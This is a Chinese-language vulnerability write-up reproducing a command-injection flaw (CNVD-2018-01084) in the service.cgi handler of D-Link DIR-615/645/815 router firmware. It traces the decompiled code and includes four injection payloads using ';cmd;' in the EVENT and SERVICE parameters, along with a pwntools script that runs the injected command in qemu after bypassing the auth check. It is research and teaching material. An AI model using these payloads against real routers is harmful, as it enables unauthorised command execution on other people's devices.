D-Link DIR 615_645_815 service.cgi远程命令执行漏洞
前言
漏洞批漏:国家信息安全漏洞共享平台
D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。
之前分析过hedwig.cgi中存在栈溢出漏洞,命令执行漏洞存在于service.cgi,函数基本逻辑很像
本次复现主要是用的用户级qemu,第一个就是方便调试,第二个就是系统级本人不会启动service服务😊
固件分析
固件的主要二进制文件就是/htdocs/cgibin
漏洞点存在于servicecgi_main中,这里接收了第一个参数

这里先看漏洞点,以及注入点
sub_40A1C0,是解析函数,解析传参的内容,返回参数后第四位v3[3]
例:传入EVENT=abc;,会将abc返回给v5
然后会作为%s的值,拼接在event_%__dev_null中也就是后续执行lxmldbc_system(event%s____dev_null)的参数


用xrefs查看函数调用可以发现
lxmldbc_system后续会调用system


知道注入点以及如何利用,接下来我们仅需让函数走完就行
函数流程分析
首先就是传参方式,如果是get传参,则会直接报错退出,所以必须是post传参

然后就是cgibin_parse_request这个返回值需要大于0,这也是我们要解决的第一个点,当时分析hedwig.cgi栈溢出漏洞时,就曾详细分析过这个函数,主要功能以及流程都是一样的,没有什么太大的差异,猜测最后就是返回sub_40A63C,实际上也就是这样

三个参数,前两个随便写就行,但要注意一些字符不可少,后续的拆分什么的,例如?,&,=什么的第三个REQUEST_URI,是payload函数,这里具体判断还是需要去看汇编,查看函数调用,后续的sub_40A1C0(“EVENT”),从哪个变量中取值的,其实也可以说是经验之谈或者去猜,这里对REQUEST_URI的参数进行检测拼接处理,很明显他就是注入点

n38在?后边

CONTENT_TYPE有比较,跟栈溢出漏洞一样,设定为application/x-www-form-urlencoded即可,这里返回地址可以动态调试走一下

还是返回的403b10


参考上次栈溢出的思路,猜测这里能不能不这样走,但直接out了,因为函数会返回-1,然后就没办法命令执行了
第二个点就是sess_ispoweruser函数,他会检测cookie,就是一个用户验证,用户态的话是没有一些配置文件的,系统态的话应该可以,这里可以参考别的师傅,是将他nop了,同时也可以gdb直接set跳过这一步


断点下在0x40A3A4,然后去set,之后就可以走到我们的利用点,问题就在于如何构造payload

只要可以去执行system,我们就可以用’;cmd;去拼接执行命令,需要去理清这段函数的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| v5 = sub_40A1C0("EVENT"); v7 = (const char *)sub_40A1C0("ACTION"); v6 = sub_40A1C0("SERVICE"); if ( v5 ) { event_%s____dev_null = "event %s > /dev/null"; } else { if ( !v6 || !v7 ) goto LABEL_27; if ( !strcasecmp(v7, "START") ) { event_%s____dev_null = "service %s start > /dev/null"; } else if ( !strcasecmp(v7, "STOP") ) { event_%s____dev_null = "service %s stop > /dev/null"; } else { if ( strcasecmp(v7, "RESTART") ) { snprintf(s, 0x100u, "Unknown action - '%s'", v7); goto LABEL_10; } event_%s____dev_null = "service %s restart > /dev/null"; } } lxmldbc_system(event_%s____dev_null);
|
第一种情况加上EVENT,v5!=Null,然后直接去执行v5,
另一种SERVICE(加上ACTION字段),v5=Null,然后程序会进入else,判断v6=Null || v7=Null,如果有一个是空,则程序报错,两者都不能是空,然后就有三条路可以走,最后都可以去注入命令执行,让v7=START,RESTART,STOP,会将v6拼接进去
通过函数流程图,我们可以发现四种路径可以调用lxmldbc_system,也就对应我们四种payload
1 2 3 4
| REQUEST_URI="123?EVENT=;{cmd};&abc" REQUEST_URI="123?ACTION=STOP&SERVICE=;{cmd};" REQUEST_URI="123?ACTION=START&SERVICE=;ls;" REQUEST_URI="123?ACTION=RESTART&SERVICE=;ls;"
|

exp
注:需要手动修改绕过用户认证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import* context.terminal = ['gnome-terminal', '--', 'bash', '-c'] context.arch='mips' context.os='linux' context.log_level = 'debug' def bug(): gdb.attach(target=("localhost", 6666), exe="./htdocs/cgibin", gdbscript=""" b *0x40A3A4\n c\n """) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) def rl(a): return p.recvuntil(a) def inter(): p.interactive()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
print("-------CNVD-2018-01084--------") cmd=input("command:")
post_content = "Thir0th=AGRiot" p = process(f''' qemu-mipsel -L . \ -0 "service.cgi" \ -E REQUEST_METHOD="POST" \ -E REQUEST_URI="123?EVENT=;{cmd};&abc" \ -E CONTENT_LENGTH=14 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -g 6666 \ ./htdocs/cgibin
''',shell=True) bug()
p.send(post_content)
''' REQUEST_URI="123?ACTION=STOP&SERVICE=;{cmd};" REQUEST_URI="123?ACTION=START&SERVICE=;ls;" REQUEST_URI="123?ACTION=RESTART&SERVICE=;ls;" '''
inter()
|
成功执行命令

思考
Dlink真是一个筛子啊,全都是漏洞,但每个服务功能函数基本相同,挖洞时要注意关键函数,system这些危险函数
认识到了看ida函数流程图的作用+xref的强大功能,后续挖掘都可以利用到
多尝试去猜+调试,对哪个变量参数有解析一般就是设置payload的参数
参考链接
DIR-645远程命令执行漏洞_d-link dir-645 wired wireless router操作系统命令注入漏洞攻击-CSDN博客
D-Link service.cgi远程命令执行漏洞分析-先知社区
D-Link DIR 615/645/815 service.cgi远程命令执行漏洞-先知社区